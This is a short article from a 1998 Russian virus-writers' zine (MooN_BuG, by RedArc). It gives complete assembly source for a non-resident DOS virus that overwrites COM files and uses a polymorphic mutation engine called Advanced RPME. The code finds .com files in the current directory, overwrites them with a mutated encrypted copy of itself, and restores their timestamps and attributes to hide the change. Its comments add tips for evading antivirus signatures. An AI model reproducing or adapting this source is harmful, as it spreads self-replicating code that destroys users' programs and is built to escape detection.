[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 010

                      Пример использования Advanced RPME
                                                        by RedArc

А чего здесь говорить? Смотрите: нерезидентный COM-overwrite вирус, поиск
в текущем каталоге. Там вроде бы все понятно ;)

=== Cut ===

;Advanced RPME.Trivial (c) by RedArc // TAVC

Model Tiny
.code
.286
jumps
org 100h
start:

     ;
     ;mov sp,0fffch  - Вы не забыли восстановить состояние стека?
     ;                 а я забыл ;)

     jmp VirBeg
include rnd.inc       ;а вот эти три инклуда лучше ставить на случайное
include rpme02.inc    ;место в каждом звере, дабы код ангины не послужил
include ende.inc      ;маской для поиска вируса в том же стеке...
VirBeg:
     mov ah,4eh
     mov cx,0ffh
     mov dx,MASK_offs+100h
Interrupt:
     int 21h
     jb NotFound
     jmp Infect
NotFound:
     int 20h
Infect:
     mov si,100h
     mov di,100h+Buff
     mov cx,MyLength
     call RPME
     mov word ptr cs:[BuffLength+100h],cx
     mov dx,9eh
     mov ax,4301h
     xor cx,cx
     int 21h
     mov dx,9eh
     mov ax,3d02h
     int 21h
     xchg ax,bx
     call WRITE_BUF
     mov di,100h+Buff
     call RPME_ENDE
     mov word ptr cs:[BuffLength+100h],cx
     call WRITE_BUF
     mov ax,5701h
     mov cx,word ptr cs:[96h]
     mov dx,word ptr cs:[98h]
     int 21h
     mov ah,3eh
     int 21h
     mov ax,4301h
     mov cx,word ptr cs:[95h]
     int 21h
     mov ah,4fh
     jmp Interrupt

WRITE_BUF:
     mov ah,40h
     mov dx,Buff+100h
     mov cx,word ptr cs:[BuffLength+100h]
     int 21h
     ret

MASK_offs equ $-start
db '*.com',0h
db 1,2,3,4,5,6,7,8,9
MyLength equ $-start
BuffLength equ $-start
     dw ?
Buff equ $-start
end start
=== Cut ===